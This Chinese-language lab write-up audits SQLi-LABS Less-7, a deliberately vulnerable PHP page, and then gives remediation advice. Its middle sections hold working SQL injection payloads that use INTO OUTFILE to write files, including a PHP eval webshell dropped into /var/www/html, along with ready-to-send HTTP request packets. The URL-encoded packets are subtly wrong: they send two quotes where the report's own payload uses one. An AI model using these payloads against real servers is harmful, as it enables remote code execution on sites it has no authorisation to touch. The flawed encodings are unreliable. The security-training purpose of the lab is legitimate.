Less-7 代码审计报告:GET 双引号/括号 + INTO OUTFILE 写文件
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-7/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-7: Dump into Outfile |
| 源码路径 | Less-7/index.php |
| 漏洞类型 | SQL 注入 – UNION + INTO OUTFILE 写文件(错误信息硬编码不回显真实报错) |
| 注入点参数 | GET /sqli-labs/Less-7/?id= |
| 报错/盲注 | 错误信息为硬编码字符串,不回显真实报错,不显示数据 |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x + MySQL secure_file_priv 允许写目录 |
2. 漏洞代码定位
文件: Less-7/index.php
// 第 20-22 行:直接取 GET 参数
if(isset($_GET['id']))
{
$id=$_GET['id'];
// 第 31 行:WHERE id=(('$id')),双层括号包裹单引号
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
// 第 35-41 行:成功只显示固定文案
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
// 第 42-48 行:失败显示硬编码错误,print_r(mysql_error()) 被注释
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error()); ← 第 46 行:真实报错被注释,不回显
echo "</font>";
}
关键漏洞点:
- 第 22 行:
$id=$_GET['id'];未过滤。 - 第 31 行:
WHERE id=(('$id'))—— 闭合需'))。 - 第 46 行:
print_r(mysql_error());被注释,真实错误不回显(所以联合查询/报错注入都拿不到信息,只能用写文件或盲注判断)。
3. 漏洞分析
- 输入来源:
$_GET['id'],未过滤。 - SQL 拼接位置:
WHERE id=(('$id')) LIMIT 0,1,双层括号 + 单引号,闭合字符串为'))。 - 是否回显:成功仅显示固定文案;失败显示硬编码 "You have an error in your SQL syntax",不显示真实 mysql_error()。因此:
- UNION 查询结果不可见;
- 报错注入不可用;
- 本关核心目标是利用
UNION SELECT ... INTO OUTFILE把查询结果写入服务器文件。
- 前提条件:
- MySQL 用户需有
FILE权限; secure_file_priv未限制或允许写入目标目录(如/tmp);- Web 目录可写时可写 WebShell 实现 RCE。
- MySQL 用户需有
4. 利用方式
步骤一:判断注入点
?id=1' → 显示硬编码错误(不区分真实原因)
?id=1')) → 正常显示 "You are in.... Use outfile......"
通过回显差异(固定文案出现与否)确认闭合为 '))。
步骤二:判断列数
?id=1')) ORDER BY 3-- -
正常显示 → 3 列。
?id=1')) ORDER BY 4-- -
硬编码错误 → 共 3 列。
步骤三:写文件(核心 Payload)
-- 将查询结果写入 /tmp/less7.txt
1')) union select 1,2,3 into outfile '/tmp/less7.txt'-- -
-- 写 WebShell(若 Web 目录可写,如 /var/www/html/ 或靶场目录)
1')) union select 1,2,'<?php @eval($_POST[x]);?>' into outfile '/var/www/html/shell.php'-- -
预期结果:
- 页面无报错差异(成功/失败都显示固定文案),但可到服务器检查
/tmp/less7.txt内容为1 2 3; - 若写 WebShell 成功,可用蚁剑/菜刀连接。
步骤四:进阶
- 写入前先用
INTO OUTFILE测试目标目录可写性; - 若
secure_file_priv=NULL则任何路径都不可写,需确认 MySQL 配置:SELECT @@global.secure_file_priv;
5. Yakit 重放数据包
GET /sqli-labs/Less-7/?id=1%27%27))%20union%20select%201,2,3%20into%20outfile%20%27/tmp/less7.txt%27--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
说明:%27='、%27%27=''(两个单引号)、%20=空格、%29=)、/tmp/less7.txt 中的单引号编码为 %27、--%20-=-- -。
写 WebShell 报文示例(按实际 Web 绝对路径调整):
GET /sqli-labs/Less-7/?id=1%27%27))%20union%20select%201,2,%27%3C%3Fphp%20%40eval(%24_POST%5Bx%5D)%3B%3F%3E%27%20into%20outfile%20%27/var/www/html/shell.php%27--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
6. 修复建议
修复一(首选):PDO 预处理语句
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理语句
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
修复三:输入校验 + 最小权限(针对写文件类攻击)
- 强制整型校验:
if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }。 - 禁止 FILE 权限:数据库账号不授予
FILE权限,INTO OUTFILE无法执行。 - 设置
secure_file_priv为特定目录或空字符串限制导出;Web 目录禁止写权限。 - 关闭
display_errors,错误写日志;升级 PHP 7+ / 8+,移除mysql_*扩展。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境;INTO OUTFILE需 MySQL FILE 权限且secure_file_priv允许。
正文完